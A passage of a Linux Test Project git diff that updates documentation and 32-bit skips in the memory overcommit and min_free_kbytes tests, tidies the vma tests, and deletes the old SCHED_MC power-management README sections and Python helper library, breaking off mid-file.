Copyright (c) Linux Test Project, 2012-2025 * Copyright (C) 2012-2017 Red Hat, Inc. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * Description: - * - * The case is designed to test min_free_kbytes tunable. + */ + +/*\ + * Test ``/proc/sys/vm/min_free_kbytes`` tunable file. * * The tune is used to control free memory, and system always - * reserve min_free_kbytes memory at least. + * reserve ``min_free_kbytes`` memory at least. * * Since the tune is not too large or too little, which will - * lead to the system hang, so I choose two cases, and test them - * on all overcommit_memory policy, at the same time, compare + * lead to the system hang, the following cases are tested + * on all ``overcommit_memory`` policy, at the same time, compare * the current free memory with the tunable value repeatedly. * - * a) default min_free_kbytes with all overcommit memory policy - * b) 2x default value with all overcommit memory policy - * c) 5% of MemFree or %2 MemTotal with all overcommit memory policy + * 1. default min_free_kbytes with all ``overcommit_memory`` policy + * 2. 2x default value with all ``overcommit_memory`` policy + * 3. 5% of MemFree or %2 MemTotal with all ``overcommit_memory`` policy + * + * [References] + * + * - :kernel_doc:`admin-guide/sysctl/vm` */ #include <sys/wait.h> @@ -188,7 +184,7 @@ static void check_monitor(void) unsigned long tune; unsigned long memfree; - while (end) { + while (!end) { memfree = SAFE_READ_MEMINFO("MemFree:"); tune = TST_SYS_CONF_LONG_GET(MIN_FREE_KBYTES); diff --git a/ltp/testcases/kernel/mem/tunable/overcommit_memory.c b/ltp/testcases/kernel/mem/tunable/overcommit_memory.c index 9b2cb479..663e3152 100644 --- a/ltp/testcases/kernel/mem/tunable/overcommit_memory.c +++ b/ltp/testcases/kernel/mem/tunable/overcommit_memory.c @@ -1,13 +1,18 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2012-2023 Linux Test Project + * Copyright (c) 2012-2025 Linux Test Project * Copyright (c) 2012-2017 Red Hat, Inc. + */ + +/*\ + * Test for ``overcommit_memory`` and ``overcommit_ratio`` tunables. * * There are two tunables overcommit_memory and overcommit_ratio under * /proc/sys/vm/, which can control memory overcommitment. * * The overcommit_memory contains a flag that enables memory * overcommitment, it has three values: + * * - When this flag is 0, the kernel attempts to estimate the amount * of free memory left when userspace requests more memory. * - When this flag is 1, the kernel pretends there is always enough @@ -21,41 +26,49 @@ * percentage added to the amount of actual RAM in a system when * considering whether to grant a particular memory request. * The general formula for this tunable is: - * CommitLimit = SwapTotal + MemTotal * overcommit_ratio - * CommitLimit, SwapTotal and MemTotal can read from /proc/meminfo. + * + * * CommitLimit = SwapTotal + MemTotal * overcommit_ratio + * * CommitLimit, SwapTotal and MemTotal can read from /proc/meminfo. * * The program is designed to test the two tunables: * * When overcommit_memory = 0, allocatable memory can't overextend * the amount of total memory: - * a. less than free_total: free_total / 2, alloc should pass. - * b. greater than sum_total: sum_total * 2, alloc should fail. + * + * 1. less than free_total: free_total / 2, alloc should pass. + * 2. greater than sum_total: sum_total * 2, alloc should fail. * * When overcommit_memory = 1, it can alloc enough much memory, I * choose the three cases: - * a. less than sum_total: sum_total / 2, alloc should pass - * b. equal to sum_total: sum_total, alloc should pass - * c. greater than sum_total: sum_total * 2, alloc should pass - * *note: sum_total = SwapTotal + MemTotal + * + * 1. less than sum_total: sum_total / 2, alloc should pass + * 2. equal to sum_total: sum_total, alloc should pass + * 3. greater than sum_total: sum_total * 2, alloc should pass + * + * NOTE: sum_total = SwapTotal + MemTotal * * When overcommit_memory = 2, the total virtual address space on * the system is limited to CommitLimit(Swap+RAM*overcommit_ratio) * commit_left(allocatable memory) = CommitLimit - Committed_AS - * a. less than commit_left: commit_left / 2, alloc should pass - * b. overcommit limit: CommitLimit + TotalBatchSize, should fail - * c. greater than commit_left: commit_left * 2, alloc should fail - * *note: CommitLimit is the current overcommit limit. - * Committed_AS is the amount of memory that system has used. - * it couldn't choose 'equal to commit_left' as a case, because - * commit_left rely on Committed_AS, but the Committed_AS is not stable. - * *note2: TotalBatchSize is the total number of bytes, that can be - * accounted for in the per cpu counters for the vm_committed_as - * counter. Since the check used by malloc only looks at the - * global counter of vm_committed_as, it can overallocate a bit. * - * References: - * - Documentation/sysctl/vm.txt - * - Documentation/vm/overcommit-accounting + * 1. less than commit_left: commit_left / 2, alloc should pass + * 2. overcommit limit: CommitLimit + TotalBatchSize, should fail + * 3. greater than commit_left: commit_left * 2, alloc should fail + * + * NOTE: CommitLimit is the current overcommit limit. + * Committed_AS is the amount of memory that system has used. + * + * It couldn't choose 'equal to commit_left' as a case, because commit_left rely + * on Committed_AS, but the Committed_AS is not stable. + * + * NOTE: TotalBatchSize is the total number of bytes, that can be accounted for + * in the per cpu counters for the vm_committed_as counter. Since the check used + * by malloc only looks at the global counter of vm_committed_as, it can + * overallocate a bit. + * + * [References] + * + * - :kernel_doc:`admin-guide/sysctl/vm` */ #include <errno.h> @@ -131,24 +144,41 @@ static void overcommit_memory_test(void) TST_SYS_CONF_LONG_SET(OVERCOMMIT_MEMORY, 2, 1); update_mem_commit(); - alloc_and_check(commit_left * 2, EXPECT_FAIL); - alloc_and_check(commit_limit + total_batch_size, EXPECT_FAIL); - update_mem_commit(); - alloc_and_check(commit_left / 2, EXPECT_PASS); + /* Skip tests that would overflow or exceed 32-bit address space */ + if (tst_kernel_bits() == 64 || (unsigned long)commit_left <= TST_GB / TST_KB) { + alloc_and_check(commit_left * 2, EXPECT_FAIL); + alloc_and_check(commit_limit + total_batch_size, EXPECT_FAIL); + update_mem_commit(); + alloc_and_check(commit_left / 2, EXPECT_PASS); + } else { + tst_res(TCONF, "Skipping large allocation tests due to address space limits"); + } /* start to test overcommit_memory=0 */ TST_SYS_CONF_LONG_SET(OVERCOMMIT_MEMORY, 0, 1); update_mem(); alloc_and_check(free_total / 2, EXPECT_PASS); - alloc_and_check(sum_total * 2, EXPECT_FAIL); + /* Skip if sum_total * 2 would exceed address space. + * On 32-bit, skip when sum_total > ULONG_MAX/4 (~1GB). + * Most 32-bit systems with <=1GB RAM can map 2x that in 3GB vaddr space. + * Systems with 2GB+ RAM likely cannot fit allocations in vaddr space. */ + if (tst_kernel_bits() == 64 || (unsigned long)sum_total <= TST_GB / TST_KB) { + alloc_and_check(sum_total * 2, EXPECT_FAIL); + } else { + tst_res(TCONF, "Skipping large allocation test due to address space limits"); + } /* start to test overcommit_memory=1 */ TST_SYS_CONF_LONG_SET(OVERCOMMIT_MEMORY, 1, 1); alloc_and_check(sum_total / 2, EXPECT_PASS); - alloc_and_check(sum_total, EXPECT_PASS); - alloc_and_check(sum_total * 2, EXPECT_PASS); + if (tst_kernel_bits() == 64 || (unsigned long)sum_total <= TST_GB / TST_KB) { + alloc_and_check(sum_total, EXPECT_PASS); + alloc_and_check(sum_total * 2, EXPECT_PASS); + } else { + tst_res(TCONF, "Skipping large allocation tests due to address space limits"); + } } diff --git a/ltp/testcases/kernel/mem/vma/vma01.c b/ltp/testcases/kernel/mem/vma/vma01.c index d220b636..7d784da6 100644 --- a/ltp/testcases/kernel/mem/vma/vma01.c +++ b/ltp/testcases/kernel/mem/vma/vma01.c @@ -51,7 +51,7 @@ #include <string.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define MAPS_FILE "/proc/self/maps" diff --git a/ltp/testcases/kernel/mem/vma/vma02.c b/ltp/testcases/kernel/mem/vma/vma02.c index 3d91863c..c961a1a4 100644 --- a/ltp/testcases/kernel/mem/vma/vma02.c +++ b/ltp/testcases/kernel/mem/vma/vma02.c @@ -43,7 +43,7 @@ #include <unistd.h> #include <limits.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "numa_helper.h" char *TCID = "vma02"; @@ -112,9 +112,7 @@ int main(int argc, char **argv) /* /proc/self/maps in the form of "00400000-00406000 r-xp 00000000". */ - fp = fopen("/proc/self/maps", "r"); - if (fp == NULL) - tst_brkm(TBROK | TERRNO, NULL, "fopen"); + fp = SAFE_FOPEN(NULL, "/proc/self/maps", "r"); while (fgets(buf, BUFSIZ, fp) != NULL) { if (sscanf(buf, "%p-%p ", &start, &end) != 2) diff --git a/ltp/testcases/kernel/mem/vma/vma03.c b/ltp/testcases/kernel/mem/vma/vma03.c index 65884d9d..da1f5be9 100644 --- a/ltp/testcases/kernel/mem/vma/vma03.c +++ b/ltp/testcases/kernel/mem/vma/vma03.c @@ -49,7 +49,7 @@ #include <unistd.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "tst_kernel.h" #include "lapi/abisize.h" diff --git a/ltp/testcases/kernel/mem/vma/vma04.c b/ltp/testcases/kernel/mem/vma/vma04.c index 8be025ae..06a31666 100644 --- a/ltp/testcases/kernel/mem/vma/vma04.c +++ b/ltp/testcases/kernel/mem/vma/vma04.c @@ -47,7 +47,7 @@ #include <unistd.h> #include <limits.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "numa_helper.h" char *TCID = "vma04"; @@ -202,9 +202,8 @@ static void get_vmas(char *retbuf, void *addr_s, void *addr_e) retbuf[0] = '\0'; flag = 0; - fp = fopen("/proc/self/maps", "r"); - if (fp == NULL) - tst_brkm(TBROK | TERRNO, cleanup, "fopen"); + fp = SAFE_FOPEN(NULL, "/proc/self/maps", "r"); + while (fgets(buf, BUFSIZ, fp) != NULL) { if (sscanf(buf, "%p-%p ", &s, &t) != 2) continue; diff --git a/ltp/testcases/kernel/mem/vma/vma05.sh b/ltp/testcases/kernel/mem/vma/vma05.sh index 34a82162..b9654e80 100755 --- a/ltp/testcases/kernel/mem/vma/vma05.sh +++ b/ltp/testcases/kernel/mem/vma/vma05.sh @@ -26,7 +26,14 @@ # { # "needs_root": true, # "needs_tmpdir": true, -# "needs_cmds": ["gdb", "uname"], +# "needs_cmds": [ +# { +# "cmd": "gdb" +# }, +# { +# "cmd": "uname" +# } +# ], # "save_restore": [ # ["/proc/sys/kernel/core_pattern", "core", "TBROK"], # ["/proc/sys/kernel/core_uses_pid", "0", "TBROK"] diff --git a/ltp/testcases/kernel/power_management/.gitignore b/ltp/testcases/kernel/power_management/.gitignore deleted file mode 100644 index 0c2a3ed4..00000000 --- a/ltp/testcases/kernel/power_management/.gitignore +++ /dev/null @@ -1 +0,0 @@ -pm_get_sched_values diff --git a/ltp/testcases/kernel/power_management/Makefile b/ltp/testcases/kernel/power_management/Makefile index 935f47ee..4357bd9c 100644 --- a/ltp/testcases/kernel/power_management/Makefile +++ b/ltp/testcases/kernel/power_management/Makefile @@ -26,4 +26,4 @@ INSTALL_TARGETS := *.py *.sh MAKE_DEPS += $(APICMDS_DIR)/tst_kvercmp -include $(top_srcdir)/include/mk/generic_trunk_target.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/kernel/power_management/README b/ltp/testcases/kernel/power_management/README index b8d6c316..1b82782d 100644 --- a/ltp/testcases/kernel/power_management/README +++ b/ltp/testcases/kernel/power_management/README @@ -38,13 +38,6 @@ CONFIG_CPU_IDLE CONFIG_CPU_IDLE_GOV_LADDER CONFIG_CPU_IDLE_GOV_MENU -for SCHED_MC tests: - -CONFIG_SCHED_MC - -The power management test automation suite helps run the power management functionality -(e.g: cpu frequency, cpu idle etc..) tests and report results. - Test Scripts for CPU FREQUENCY: change_freq.sh change_govr.sh @@ -53,9 +46,6 @@ check_cpufreq_sysfs_files.sh Test Scripts for CPU IDLE: will be added soon -Test Scripts for SCHED_MC: -test_sched_mc.sh - Common functionality: pm_include.sh check_kv_arch.c @@ -66,22 +56,3 @@ To run your tests you can execute the runpwtests.sh To run the tests individually : P.S. As of now the supporting architecture(s) are x86,x86_64 - -Support of system: ------------------ -If you see some thing like following, - -Power Management 1 FAIL : Required kernel configuration for SCHED_MC NOT set -or -Power Management 1 FAIL : Required kernel configuration for CPU_FREQ NOT set - -Then either configuration is not set or the system won't support. - -For CPU consolidation verification ebizzy is included in utils directory of LTP. -To run cpu consolidation test user has to provide -w <workload> -l <sched_mc_level>. -Refer to README in LTPROOT/utils/benchmark/ebizzy-0.2 directory for details of ebizzy. - -To test CPU consolidation for sched_mc 2 kernbench has to run. Kernbench needs linux kernel source as input in /root directory . For example download from http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.29.4.tar.bz2. If Linux kernel source not found kernbench wiil not execute. -CPU consolidation testcases will not execute if number of CPU's in package is less then 2. If system is hyper threaded but number of CPU is 1 only sched_smt testcases will be excuted. For better coverage of testcases select a system which is at least quad core and then hyper threaded so that you will observe 8 CPU's in each package. - -Timer migration interface test will execute on kernel versions 2.6.31 and above. Timer migration functionality verification testcases will be executed only on suitable architecture like quad core or the number of CPU's in each package should be at least 4 and above diff --git a/ltp/testcases/kernel/power_management/lib/Makefile b/ltp/testcases/kernel/power_management/lib/Makefile deleted file mode 100644 index 2aadac0a..00000000 --- a/ltp/testcases/kernel/power_management/lib/Makefile +++ /dev/null @@ -1,25 +0,0 @@ -# -# Copyright (c) 2015 Fujitsu Ltd. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# - -top_srcdir ?= ../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := *.py - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/kernel/power_management/lib/pm_sched_mc.py b/ltp/testcases/kernel/power_management/lib/pm_sched_mc.py deleted file mode 100755 index 743b6deb..00000000 --- a/ltp/testcases/kernel/power_management/lib/pm_sched_mc.py +++ /dev/null @@ -1,835 +0,0 @@ -#!/usr/bin/env python3 -''' Reusable functions related to sched mc FVT are put together -''' - -import os -import sys -import re -from time import time - -__author__ = "Vaidyanathan Srinivasan <svaidy@linux.vnet.ibm.com>" -__author__ = "Poornima Nayak <mpnayak@linux.vnet.ibm.com>" - - -cpu_map = {} -stats_start = {} -stats_stop = {} -stats_percentage = {} -intr_start = [] -intr_stop = [] -cpu_count = 0 -socket_count = 0 -cpu1_max_intr = 0 -cpu2_max_intr = 0 -intr_stat_timer_0 = [] -siblings_list = [] - -def clear_dmesg(): - ''' - Clears dmesg - ''' - try: - os.system('dmesg -c >/dev/null') - except OSError as e: - print('Clearing dmesg failed', e) - sys.exit(1) - -def count_num_cpu(): - ''' Returns number of cpu's in system - ''' - try: - cpuinfo = open('/proc/cpuinfo', 'r') - global cpu_count - for line in cpuinfo: - if line.startswith('processor'): - cpu_count += 1 - cpuinfo.close() - except IOError as e: - print("Could not get cpu count", e) - sys.exit(1) - -def count_num_sockets(): - ''' Returns number of cpu's in system - ''' - socket_list = [] - global socket_count - try: - for i in range(0, cpu_count): - phy_pkg_file = '/sys/devices/system/cpu/cpu%s' % i - phy_pkg_file += '/topology/physical_package_id' - socket_id = open(phy_pkg_file).read().rstrip() - if socket_id not in socket_list: - socket_list.append(socket_id) - socket_count = socket_count + 1 - except Exception as details: - print("INFO: Failed to get number of sockets in system", details) - sys.exit(1) - -def is_multi_socket(): - '''Return 1 if the system is multi socket else return 0 - ''' - try: - if socket_count > 1: - return 1 - else: - return 0 - except Exception: - print("Failed to check if system is multi socket system") - sys.exit(1) - -def is_hyper_threaded(): - '''Return 1 if the system is hyper threaded else return 0 - ''' - try: - file_cpuinfo = open("/proc/cpuinfo", 'r') - for line in file_cpuinfo: - if line.startswith('siblings'): - siblings = line.split(":") - if line.startswith('cpu cores'): - cpu_cores = line.split(":") - break - if int( siblings[1] ) / int( cpu_cores[1] )> 1: - file_cpuinfo.close() - return 1 - else: - return 0 - except Exception: - print("Failed to check if system is hyper-threaded") - sys.exit(1) - -def is_multi_core(): - ''' Return true if system has sockets has multiple cores - ''' - - try: - file_cpuinfo = open("/proc/cpuinfo", 'r') - for line in file_cpuinfo: - if line.startswith('siblings'): - siblings = line.split(":") - if line.startswith('cpu cores'): - cpu_cores = line.split(":") - break - - if int( siblings[1] ) == int( cpu_cores[1] ): - if int( cpu_cores[1] ) > 1: - multi_core = 1 - else: - multi_core = 0 - else: - num_of_cpus = int(siblings[1]) / int(cpu_cores[1]) - if num_of_cpus > 1: - multi_core = 1 - else: - multi_core = 0 - file_cpuinfo.close() - return multi_core - except Exception: - print("Failed to check if system is multi core system") - sys.exit(1) - -def get_hyper_thread_count(): - ''' Return number of threads in CPU. For eg for x3950 this function - would return 2. In future if 4 threads are supported in CPU, this - routine would return 4 - ''' - try: - file_cpuinfo = open("/proc/cpuinfo", 'r') - for line in file_cpuinfo: - if line.startswith('siblings'): - siblings = line.split(":") - if line.startswith('cpu cores'): - cpu_cores = line.split(":") - break - return( int( siblings[1] ) / int( cpu_cores[1] ) ) - except Exception: - print("Failed to check if system is hyper-threaded") - sys.exit(1) - -def map_cpuid_pkgid(): - ''' Routine to map physical package id to cpu id - ''' - if is_hyper_threaded(): - core_info = {} - try: - for i in range(0, cpu_count): - phy_pkg_file = '/sys/devices/system/cpu/cpu%s' % i - phy_pkg_file += '/topology/physical_package_id' - core_file = '/sys/devices/system/cpu/cpu%s' % i - core_file += '/topology/core_id' - core_id = open(core_file).read().rstrip() - cpu_phy_id = open(phy_pkg_file).read().rstrip() - if not cpu_phy_id in list(cpu_map.keys()): - core_info = {} - else: - core_info = cpu_map[cpu_phy_id] - if not core_id in list(core_info.keys()): - core_info[core_id] = [i] - else: - core_info[core_id].append(i) - cpu_map[cpu_phy_id] = core_info - except Exception as details: - print("Package, core & cpu map table creation failed", e) - sys.exit(1) - else: - for i in range(0, cpu_count): - try: - phy_pkg_file = '/sys/devices/system/cpu/cpu%s' %i - phy_pkg_file += '/topology/physical_package_id' - cpu_phy_id = open(phy_pkg_file).read().rstrip() - if not cpu_phy_id in list(cpu_map.keys()): - cpu_map[cpu_phy_id] = [i] - else: - cpu_map[cpu_phy_id].append(i) - except IOError as e: - print("Mapping of CPU to pkg id failed", e) - sys.exit(1) - - -def generate_sibling_list(): - ''' Routine to generate siblings list - ''' - try: - for i in range(0, cpu_count): - siblings_file = '/sys/devices/system/cpu/cpu%s' % i - siblings_file += '/topology/thread_siblings_list' - threads_sibs = open(siblings_file).read().rstrip() - thread_ids = threads_sibs.split("-") - - if not thread_ids in siblings_list: - siblings_list.append(thread_ids) - except Exception as details: - print("Exception in generate_siblings_list", details) - sys.exit(1) - -def get_siblings(cpu_id): - ''' Return siblings of cpu_id - ''' - try: - cpus = "" - for i in range(0, len(siblings_list)): - for cpu in siblings_list[i]: - if cpu_id == cpu: - for j in siblings_list[i]: - # Exclude cpu_id in the list of siblings - if j != cpu_id: - cpus += j - return cpus - return cpus - except Exception as details: - print("Exception in get_siblings", details) - sys.exit(1) - -def get_proc_data(stats_list): - ''' Read /proc/stat info and store in dictionary - ''' - try: - file_procstat = open("/proc/stat", 'r') - for line in file_procstat: - if line.startswith('cpu'): - data = line.split() - stats_list[data[0]] = data - file_procstat.close() - except OSError as e: - print("Could not read statistics", e) - sys.exit(1) - -def get_proc_loc_count(loc_stats): - ''' Read /proc/interrupts info and store in list - ''' - try: - file_procstat = open("/proc/interrupts", 'r') - for line in file_procstat: - if line.startswith(' LOC:') or line.startswith('LOC:'): - data = line.split() - for i in range(0, cpu_count): - # To skip LOC - loc_stats.append(data[i+1]) - file_procstat.close() - return - except Exception as details: - print("Could not read interrupt statistics", details) - sys.exit(1) - - -def set_sched_mc_power(sched_mc_level): - ''' Routine to set sched_mc_power_savings to required level - ''' - try: - os.system('echo %s > \ - /sys/devices/system/cpu/sched_mc_power_savings 2>/dev/null' - % sched_mc_level) - - get_proc_data(stats_start) - except OSError as e: - print("Could not set sched_mc_power_savings to", sched_mc_level, e) - sys.exit(1) - -def set_sched_smt_power(sched_smt_level): - ''' Routine to set sched_smt_power_savings to required level - ''' - try: - os.system('echo %s > \ - /sys/devices/system/cpu/sched_smt_power_savings 2>/dev/null' - % sched_smt_level) - - get_proc_data(stats_start) - except OSError as e: - print("Could not set sched_smt_power_savings to", sched_smt_level, e) - sys.exit(1) - -def set_timer_migration_interface(value): - ''' Set value of timer migration interface to a value - passed as argument - ''' - try: - os.system('echo %s > \ - /proc/sys/kernel/timer_migration 2>/dev/null' % value) - except OSError as e: - print("Could not set timer_migration to ", value, e) - sys.exit(1) - -def get_job_count(stress, workload, sched_smt): - ''' Returns number of jobs/threads to be triggered - ''' - - try: - if stress == "thread": - threads = get_hyper_thread_count() - if stress == "partial": - threads = cpu_count / socket_count - if is_hyper_threaded(): - if workload == "ebizzy" and int(sched_smt) ==0: - threads = threads / get_hyper_thread_count() - if workload == "kernbench" and int(sched_smt) < 2: - threads = threads / get_hyper_thread_count() - if stress == "full": - threads = cpu_count - if stress == "single_job": - threads = 1 - duration = 180 - return threads - except Exception as details: - print("get job count failed ", details) - sys.exit(1) - -def trigger_ebizzy (sched_smt, stress, duration, background, pinned): - ''' Triggers ebizzy workload for sched_mc=1 - testing - ''' - try: - threads = get_job_count(stress, "ebizzy", sched_smt) - workload = "ebizzy" - olddir = os.getcwd() - path = '%s/testcases/bin' % os.environ['LTPROOT'] - os.chdir(path) - workload_file = "" - for file_name in os.listdir('.'): - if file_name == workload: - workload_file = file_name - break - if workload_file == "": - print("INFO: ebizzy benchmark not found") - os.chdir(olddir) - sys.exit(1) - get_proc_data(stats_start) - get_proc_loc_count(intr_start) - try: - if background == "yes": - succ = os.system('./ebizzy -t%s -s4096 -S %s >/dev/null &' - % (threads, duration)) - else: - if pinned == "yes": - succ = os.system('taskset -c %s ./ebizzy -t%s -s4096 -S %s >/dev/null' - % (cpu_count -1, threads, duration)) - else: - succ = os.system('./ebizzy -t%s -s4096 -S %s >/dev/null' - % (threads, duration)) - - if succ == 0: - print("INFO: ebizzy workload triggerd") - os.chdir(olddir) - #Commented bcoz it doesnt make sense to capture it when workload triggered - #in background - #get_proc_loc_count(intr_stop) - #get_proc_data(stats_stop) - else: - print("INFO: ebizzy workload triggerd failed") - os.chdir(olddir) - sys.exit(1) - except Exception as details: - print("Ebizzy workload trigger failed ", details) - sys.exit(1) - except Exception as details: - print("Ebizzy workload trigger failed ", details) - sys.exit(1) - -def trigger_kernbench (sched_smt, stress, background, pinned, perf_test): - ''' Trigger load on system like kernbench. - Copys existing copy of LTP into as LTP2 and then builds it - with make -j - ''' - olddir = os.getcwd() - try: - threads = get_job_count(stress, "kernbench", sched_smt) - - dst_path = "/root" - workload = "kernbench" - olddir = os.getcwd() - path = '%s/testcases/bin' % os.environ['LTPROOT'] - os.chdir(path) - workload_file = "" - for file_name in os.listdir('.'): - if file_name == workload: - workload_file = file_name - break - if workload_file != "": - benchmark_path = path - else: - print("INFO: kernbench benchmark not found") - os.chdir(olddir) - sys.exit(1) - - os.chdir(dst_path) - linux_source_dir="" - for file_name in os.listdir('.'): - if file_name.find("linux-2.6") != -1 and os.path.isdir(file_name): - linux_source_dir=file_name - break - if linux_source_dir != "": - os.chdir(linux_source_dir) - else: - print("INFO: Linux kernel source not found in /root. Workload\ - Kernbench cannot be executed") - sys.exit(1) - - get_proc_data(stats_start) - get_proc_loc_count(intr_start) - if pinned == "yes": - os.system ( 'taskset -c %s %s/kernbench -o %s -M -H -n 1 \ - >/dev/null 2>&1 &' % (cpu_count-1, benchmark_path, threads)) - - # We have to delete import in future - import time - time.sleep(240) - stop_wkld("kernbench") - else: - if background == "yes": - os.system ( '%s/kernbench -o %s -M -H -n 1 >/dev/null 2>&1 &' \ - % (benchmark_path, threads)) - else: - if perf_test == "yes": - os.system ( '%s/kernbench -o %s -M -H -n 1 >/dev/null 2>&1' \ - % (benchmark_path, threads)) - else: - os.system ( '%s/kernbench -o %s -M -H -n 1 >/dev/null 2>&1 &' \ - % (benchmark_path, threads)) - # We have to delete import in future - import time - time.sleep(240) - stop_wkld("kernbench") - - print("INFO: Workload kernbench triggerd") - os.chdir(olddir) - except Exception as details: - print("Workload kernbench trigger failed ", details) - sys.exit(1) - -def trigger_workld(sched_smt, workload, stress, duration, background, pinned, perf_test): - ''' Triggers workload passed as argument. Number of threads - triggered is based on stress value. - ''' - try: - if workload == "ebizzy": - trigger_ebizzy (sched_smt, stress, duration, background, pinned) - if workload == "kernbench": - trigger_kernbench (sched_smt, stress, background, pinned, perf_test) - except Exception as details: - print("INFO: Trigger workload failed", details) - sys.exit(1) - -def generate_report(): - ''' Generate report of CPU utilization - ''' - cpu_labels = ('cpu', 'user', 'nice', 'system', 'idle', 'iowait', 'irq', - 'softirq', 'x', 'y') - if (not os.path.exists('/procstat')): - os.mkdir('/procstat') - - get_proc_data(stats_stop) - - reportfile = open('/procstat/cpu-utilisation', 'a') - debugfile = open('/procstat/cpu-utilisation.debug', 'a') - for l in stats_stop: - percentage_list = [] - total = 0 - for i in range(1, len(stats_stop[l])): - stats_stop[l][i] = int(stats_stop[l][i]) - int(stats_start[l][i]) - total += stats_stop[l][i] - percentage_list.append(l) - for i in range(1, len(stats_stop[l])): - percentage_list.append(float(stats_stop[l][i])*100/total) - - stats_percentage[l] = percentage_list - - for i in range(0, len(cpu_labels)): - print(cpu_labels[i], '\t', end=' ', file=debugfile) - print(file=debugfile) - for l in sorted(stats_stop.keys()): - print(l, '\t', end=' ', file=debugfile) - for i in range(1, len(stats_stop[l])): - print(stats_stop[l][i], '\t', end=' ', file=debugfile) - print(file=debugfile) - - for i in range(0, len(cpu_labels)): - print(cpu_labels[i], '\t', end=' ', file=reportfile) - print(file=reportfile) - for l in sorted(stats_percentage.keys()): - print(l, '\t', end=' ', file=reportfile) - for i in range(1, len(stats_percentage[l])): - print(" %3.4f" % stats_percentage[l][i], end=' ', file=reportfile) - print(file=reportfile) - - #Now get the package ID information - try: - print("cpu_map: ", cpu_map, file=debugfile) - keyvalfile = open('/procstat/keyval', 'a') - print("nr_packages=%d" % len(cpu_map), file=keyvalfile) - print("system-idle=%3.4f" % (stats_percentage['cpu'][4]), file=keyvalfile) - for pkg in sorted(cpu_map.keys()): - if is_hyper_threaded(): - for core in sorted(cpu_map[pkg].keys()): - total_idle = 0 - total = 0 - for cpu in cpu_map[pkg][core]: - total_idle += stats_stop["cpu%d" % cpu][4] - for i in range(1, len(stats_stop["cpu%d" % cpu])): - total += stats_stop["cpu%d" % cpu][i] - else: - total_idle = 0 - total = 0 - for cpu in cpu_map[pkg]: - total_idle += stats_stop["cpu%d" % cpu][4] - for i in range(1, len(stats_stop["cpu%d" % cpu])): - total += stats_stop["cpu%d" % cpu][i] - print("Package: ", pkg, "Idle %3.4f%%" \ - % (float(total_idle)*100/total), file=reportfile) - print("package-%s=%3.4f" % \ - (pkg, (float(total_idle)*100/total)), file=keyvalfile) - except Exception as details: - print("Generating utilization report failed: ", details) - sys.exit(1) - - #Add record delimiter '\n' before closing these files - print(file=debugfile) - debugfile.close() - print(file=reportfile) - reportfile.close() - print(file=keyvalfile) - keyvalfile.close() - -def generate_loc_intr_report(): - ''' Generate interrupt report of CPU's - ''' - try: - if (not os.path.exists('/procstat')): - os.mkdir('/procstat') - - get_proc_loc_count(intr_stop) - - reportfile = open('/procstat/cpu-loc_interrupts', 'a') - print("==============================================", file=reportfile) - print(" Local timer interrupt stats ", file=reportfile) - print("==============================================", file=reportfile) - - for i in range(0, cpu_count): - intr_stop[i] = int(intr_stop[i]) - int(intr_start[i]) - print("CPU%s: %s" %(i, intr_stop[i]), file=reportfile) - print(file=reportfile) - reportfile.close() - except Exception as details: - print("Generating interrupt report failed: ", details) - sys.exit(1) - -def record_loc_intr_count(): - ''' Record Interrupt statistics when timer_migration - was disabled - ''' - try: - global intr_start, intr_stop - for i in range(0, cpu_count): - intr_stat_timer_0.append(intr_stop[i]) - intr_start = [] - intr_stop = [] - except Exception as details: - print("INFO: Record interrupt statistics when timer_migration=0",details) - -def expand_range(range_val): - ''' - Expand the range of value into actual numbers - ''' - ids_list = list() - try: - sep_comma = range_val.split(",") - for i in range(0, len(sep_comma)): - hyphen_values = sep_comma[i].split("-") - if len(hyphen_values) == 1: - ids_list.append(int(hyphen_values[0])) - else: - for j in range(int(hyphen_values[0]), int(hyphen_values[1])+1): - ids_list.append(j) - return(ids_list) - except Exception as details: - print("INFO: expand_pkg_grps failed ", details) - -def is_quad_core(): - ''' - Read /proc/cpuinfo and check if system is Quad core - ''' - try: - cpuinfo = open('/proc/cpuinfo', 'r') - for line in cpuinfo: - if line.startswith('cpu cores'): - cores = line.split("cpu cores") - num_cores = cores[1].split(":") - cpuinfo.close() - if int(num_cores[1]) == 4: - return(1) - else: - return(0) - except IOError as e: - print("Failed to get cpu core information", e) - sys.exit(1) - -def validate_cpugrp_map(cpu_group, sched_mc_level, sched_smt_level): - ''' - Verify if cpugrp belong to same package - ''' - modi_cpu_grp = cpu_group[:] - try: - if is_hyper_threaded(): - for pkg in sorted(cpu_map.keys()): - # if CPU utilized is across package this condition will be true - if len(modi_cpu_grp) != len(cpu_group): - break - for core in sorted(cpu_map[pkg].keys()): - core_cpus = cpu_map[pkg][core] - if core_cpus == modi_cpu_grp: - return 0 - else: - #if CPUs used across the cores - for i in range(0, len(core_cpus)): - if core_cpus[i] in modi_cpu_grp: - modi_cpu_grp.remove(core_cpus[i]) - if len(modi_cpu_grp) == 0: - return 0 - #This code has to be deleted - #else: - # If sched_smt == 0 then its oky if threads run - # in different cores of same package - #if sched_smt_level > 0 : - #return 1 - else: - for pkg in 